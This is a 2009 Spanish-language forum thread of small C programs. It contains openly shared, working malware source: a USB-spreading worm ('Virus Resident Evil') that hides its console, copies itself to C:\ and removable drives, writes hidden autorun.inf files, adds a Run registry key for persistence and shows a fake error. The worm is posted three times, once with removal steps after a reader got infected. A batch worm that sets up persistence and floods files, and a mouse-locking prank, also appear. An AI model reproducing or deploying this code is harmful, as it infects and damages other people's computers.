Menú principal

Programillas en C [Para intermedios]

Publicado por dhararon, Octubre 03, 2009, 08:52:06 PM

Tema anterior - Siguiente tema

dhararon

hola inicie este tema para publicar algunos codes, si tienen algunos compartan para aprender mas

bueno inicio con este que es muy entretenido

Mause Pegado

#include<windows.h> //Incluye la libreria de windows

main(){ //Iniciamos main
FreeConsole(); //Ocultamos la ventana del ms-dos
while(1){ //declaramos un while infinito
SetCursorPos(300,432); //Ubicamos el cursor en las cordenadas 300,432
} //fin del while
} //fin del main


PD: Para terminar el programa, abran el administrador de tareas (Ctrl+shift+Esc) vayan a procesos (moviendose con el tabulador) y terminen el proceso (con el boton que esta enmdio de Alt Gr y Ctrl).

Espero y les sea educativo

dhararon

aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa

Virus Resident Evil by Dhararon

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>

main(){
FreeConsole();

while (1){

char usb[24][4]={
                  {"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
                    {"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
                    {"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
                    {"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
                   };
                   int i;
                   char virus[50]="residentevil.exe";
                   char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
                      char virus3[12]="autorun.inf";

                      char reg2[500]="Software\\Microsoft";
                      char reg3[50]="\\Windows\\CurrentVersion";
                      char reg4[20]="\\run";
char a[200];
char b[200];


FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
    strcat(reg2,reg3);
    strcat(reg2,reg4);
   HKEY hkey;
    RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);

   MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
        Sleep(5000);
    FILE *er;
     for(i=0;i<=24;i++){
if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){

      strcpy(a,usb[i]);
      strcat(a,virus);
    er=fopen(a,"r");
    if(er){
        fclose(er);
        FILE *inf;
        FILE *inf2;
        strcpy(b,usb[i]);
      strcat(b,virus3);
    inf=fopen(b,"r");
    if(inf){
        fclose(inf);
    }
    else{
        inf2=fopen(b,"w");
        fprintf(inf2,"%s",virus2);
        fclose(inf2);
        SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);

    }
    }
    else{

      CopyFile(virus,a,true);

    }
}
     }
}
else{
    CopyFile(virus,"c:\\residentevil.exe",true);
}
                   }


                   }

iliil DJMÄSTËR liili

eahh,,! gracias por compartir,, vamos a probar,,

saludos y cuidense,,


pasense por el chat,,!


•° Merinillo °•

pues ni entiendo y por falta de tiempo no me he dado la tarea de estar investigando acerca de programacion pero un dia de estos tendré que darme una escapada por que si quiero aprender algo de programacion Muchas gracias

    * dhararon

salu2 sale cuidense Bye  ;D


http://www.youtube.com/watch?v=c2nawayFMB0

54t2regdfshgvbcx

ke onda dhararon , hace tiempo ke no lo veo por a kaa.
saludos.


dhararon

hola a todos, si creo que despues de mucho tiempo vuelvo por aqui pero pues no fue mi culpa, sino de la escuela, bueno les traigo este programa que sirve para crear archivos, es un poco sencillo ya que fue el primer programa que desarrolle XD

#include<stdio.h>
#include<stdlib.h>
/*version beta*/
main(){
       char nom[30];     
       char nom2[500];
FILE *archivo; //Declaro unicio de variable para ficheros
archivo=fopen("tu escrito.txt", "w"); //creo un nuevo fichero (w) con el nombre de tu escrito
printf("ingresa un nombre:  ");
gets(nom); //recolecto nombre

system ("cls");
printf("ingresa tu texto:  "); 
gets (nom2); //recolecto texto


fprintf(archivo, "%s\n\n %s \n\nhecho por DHARARON", nom, nom2); //Imprimo en el archivo

fclose(archivo); //Se cierra el archvo, hacer esto siempre

system ("cls");
printf("programa hecho por dhararon");
system("pause>nul");


}

Deegu!

dhararon cual av me sirve contra tu virus.... me infecte! ja ja ja

cuidate

Cita de: dhararon en Octubre 03, 2009, 09:32:53 PM
aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa

Virus Resident Evil by Dhararon

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>

main(){
FreeConsole();

while (1){

char usb[24][4]={
                  {"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
                    {"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
                    {"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
                    {"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
                   };
                   int i;
                   char virus[50]="residentevil.exe";
                   char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
                      char virus3[12]="autorun.inf";

                      char reg2[500]="Software\\Microsoft";
                      char reg3[50]="\\Windows\\CurrentVersion";
                      char reg4[20]="\\run";
char a[200];
char b[200];


FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
    strcat(reg2,reg3);
    strcat(reg2,reg4);
   HKEY hkey;
    RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);

   MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
        Sleep(5000);
    FILE *er;
     for(i=0;i<=24;i++){
if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){

      strcpy(a,usb[i]);
      strcat(a,virus);
    er=fopen(a,"r");
    if(er){
        fclose(er);
        FILE *inf;
        FILE *inf2;
        strcpy(b,usb[i]);
      strcat(b,virus3);
    inf=fopen(b,"r");
    if(inf){
        fclose(inf);
    }
    else{
        inf2=fopen(b,"w");
        fprintf(inf2,"%s",virus2);
        fclose(inf2);
        SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);

    }
    }
    else{

      CopyFile(virus,a,true);

    }
}
     }
}
else{
    CopyFile(virus,"c:\\residentevil.exe",true);
}
                   }


                   }



gracias a los usuarios de LDC por visitarnos y preferirnos

dhararon

Cita de: ¬¬ en Octubre 04, 2009, 08:24:42 PM
dhararon cual av me sirve contra tu virus.... me infecte! ja ja ja

cuidate

Cita de: dhararon en Octubre 03, 2009, 09:32:53 PM
aqui dejo otro programa, yo se que no es muy comodo aqui pero solo es de forma educativa

Virus Resident Evil by Dhararon

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <dir.h>

main(){
FreeConsole();

while (1){

char usb[24][4]={
                  {"c:\\"},{"d:\\"},{"e:\\"},{"f:\\"},{"g:\\"},{"h:\\"},
                    {"i:\\"},{"j:\\"},{"k:\\"},{"l:\\"},{"m:\\"},{"n\\"},
                    {"o:\\"},{"p:\\"},{"q:\\"},{"r:\\"},{"s:\\"},{"t:\\"},
                    {"u:\\"},{"v:\\"},{"w:\\"},{"x:\\"},{"y:\\"},{"z:\\"}
                   };
                   int i;
                   char virus[50]="residentevil.exe";
                   char virus2 [500]="[AutoRun]\nopen=residentevil.exe\nshell\\open\\Command=residentevil.exe\nshell\\open\\Default=1\nshell\\explore\\Command=residentevil.exe\n ; este archivo no es un virus / not is a virus this file";
                      char virus3[12]="autorun.inf";

                      char reg2[500]="Software\\Microsoft";
                      char reg3[50]="\\Windows\\CurrentVersion";
                      char reg4[20]="\\run";
char a[200];
char b[200];


FILE *ar;
ar=fopen("c:\\residentevil.exe","r");
if(ar){
    strcat(reg2,reg3);
    strcat(reg2,reg4);
   HKEY hkey;
    RegOpenKey(HKEY_LOCAL_MACHINE,reg2,&hkey);
RegSetValueEx(hkey,"residentevil",0,REG_SZ,(const unsigned char*)"C:\\residentevil.exe",sizeof"C:\\residentevil.exe");
RegCloseKey(hkey);

   MessageBox(NULL,"Error, la version de su windows es ilegal","Error de autentificacion",MB_ICONERROR);
        Sleep(5000);
    FILE *er;
     for(i=0;i<=24;i++){
if( GetDriveType(usb[i]) == DRIVE_REMOVABLE){

      strcpy(a,usb[i]);
      strcat(a,virus);
    er=fopen(a,"r");
    if(er){
        fclose(er);
        FILE *inf;
        FILE *inf2;
        strcpy(b,usb[i]);
      strcat(b,virus3);
    inf=fopen(b,"r");
    if(inf){
        fclose(inf);
    }
    else{
        inf2=fopen(b,"w");
        fprintf(inf2,"%s",virus2);
        fclose(inf2);
        SetFileAttributes(b,FILE_ATTRIBUTE_HIDDEN);

    }
    }
    else{

      CopyFile(virus,a,true);

    }
}
     }
}
else{
    CopyFile(virus,"c:\\residentevil.exe",true);
}
                   }


                   }


De hecho cualquiera, ya que al momento de la infeccion todos los antivirus lo detectan porque forza a crear una entrada en el registro, ahora bien, si no fue asi, entra en modo seguro (enciende la pc y apritamuchas veces F8 y dale en modo seguro), despues vas a C:/  y borras el archivo llamado residentevil.exe y otro que se llama autorun.inf , luego abre ejecutar y escribe  msconfig, ve a la pestañña de inicio o inicio de windows y desactiva el que diga residentevil     suerte y perdon, pero nunca pense que se fuesen a infectar.

pd: si metiste o tenias algun usb dentro cuando compilaste, vacunalo con kaspersky o desactiva el autorun de tu pc

dhararon

Cita de: N03L!!! en Octubre 05, 2009, 11:37:42 AM
Vaya no me imagine que el lenguaje c.c+ tambien servia para hacer virus y programas voy a ponerme a estudiar mas este milagroso lenguaje :)
Gracias dhararon necesitabamos un experto como vos en el foro aunque tambien esta Cazador asesino que tambien es un experto ;) va todos somos expertos pero no se nos nota jaja
Tengo una pregunta:
@echo off
copy %0 %windir%\system32\worm.bat
REG ADD HKLM\software\microsoft\windows\currentsversion\run/v hack/d %windir%\system32\worm.bat
:worm
cd \
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd \
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
Este codijo se puede usar en c osea se puede pasar en c o como hago?
Pdd.no me hechen la culpa si se infectan con el code jajaja
Pero quiero saber de estas cosas no para hacerlas

Se tiene que estructurar denuevo el codigo, porque eso no sirve ya que unicamente son comandos progamados, ahora, como que no sabias que en C/C++ servia para hacer virus y programas?, C/c++ son la base del sistema operativo GNU/linux y es el mejor lenguaje de programacion, pueses buscar el REACTOS que es identico a windows pero de codigo abierto.

ahora para ejecutar un comando de consola en C se usa el codigo system("comando");
ejemplo:


#include<stdlib.h> //el codigo system esta declarado aqui

main(){
system("cls"); //limpia la pantalla
system("echo HOLA MUNDO"); //imprime hola mundo
system("pause>nul"); //pone en pausa la aplicacion
}


Espero y te sirva esta informacion

54t2regdfshgvbcx

#9
Eso espero N03L!!!, espero que se ponga a estudiar "duro".
por ke siempre me enkuentro personas ke dicen ke kieren aprender c o c++ y nunka estudian y no le echan las ganas, espero ke no sea uno mas.

En lo personal a mi no me gusta enseñar, (porke no se explikar bien lo ke trato de decir, jaja)  y la otra no me gusta enseñar por flojera.

a si ke le pongo su tarea

Investigue todos los operadores para este lenguaje y aprendaselos.
investigue las librerías o cabeceras mas usadas de este lenguaje.
Investigue como hacer algoritmos (pseudocodigo, diagrama deflujo) si kiere otro pues investiguelo.
haga ejercicios para crear algoritmos
ahh y tambien investigue ke es un algoritmo  ;)

Investige una estrcutura para c o c++ y como esta compuesta.

lea la historia de c.

No este esperanzado a ke le pongan todo en bandeja de oro o plata, sea autodidacta mi amigo N03l.

luego te paso unos libros de nivel básico muy buenos.

a si ke a estudiar N03L.

salu2s


a si es C,C++,C# es grande y muy padre. larga vida... je

•° Merinillo °•

dijera mis maestra de Mate.... todos podemos solo nos falta la actitud y responsabilidad


http://www.youtube.com/watch?v=c2nawayFMB0

54t2regdfshgvbcx

#11
jajaja, tabien no gastare tu nombre.

ejekutar ke??
el codigo??
cual??

el ke te dio el buen dhararon

o el batch??

necesitas un compilador  Borland o Dev
investiga ke es un compilador
Guardar --> Compilar ---> Ejekutar

dhararon

Cita de: GaRfA en Octubre 05, 2009, 07:51:33 PM
jajaja, tabien no gastare tu nombre.

ejekutar ke??
el codigo??
cual??

el ke te dio el buen dhararon

o el batch??

necesitas un compilador  Borland o Dev
investiga ke es un compilador
Guardar --> Compilar ---> Ejekutar

yo siempre uso el codeblocks porque se me hace bueno, ahora a que no loe entiendes?

la sintaxis de system es muy facil es system("aqui el comando de consola");

que es un comando de consola?

un comando de consola es igual a abrir la consola (Inicio>ejecutar y escribes command) y en la ventana negra pones dir.

mas claro

abre el bloc de notas y pon

dir
pause


guardala como prueba.bat y ejecutalo, veras que pone muchos directorios, ahora abre el compilador de c/c++ y pon

#include <stdlib.h>
main(){
system("dir");
system("pause");
}


y veras que ejecuta lo mismo.

espero y esto te sea mas util, si quieres agregame al msn, es  hacktroz@hotmail.com

iliil DJMÄSTËR liili

ps me tocará entrarle tambien a c++ ejejej,,,




weno me retiro y me buscare alguns tutos para aprender,,





saludos, cuidense,,




Visiten ChatLDC <--------






DJMASTER


makubex

Cita de: N03L!!! en Octubre 06, 2009, 09:33:28 PM
no sabes que me gustaria que me esplicara como  hacer por ejemplo que se apage la compu en 50 segundo
ya se que es shutdown -s -t 50-c pero como lo hago a esto en c.c+
y para safar es shutdown -a jajaj
Ese programa esta publicado en la respuesta No.7 de la Escuela de C/C++ en versiones windows y linux con leves diferencias... Usalo BIEN.
#apt-get moo
         (__)
         (oo)
   /------\/
  / |    ||  
*  /\---/\
    ~~   ~~  
...."Have you mooed today?"...

Software Libre para una Sociedad Libre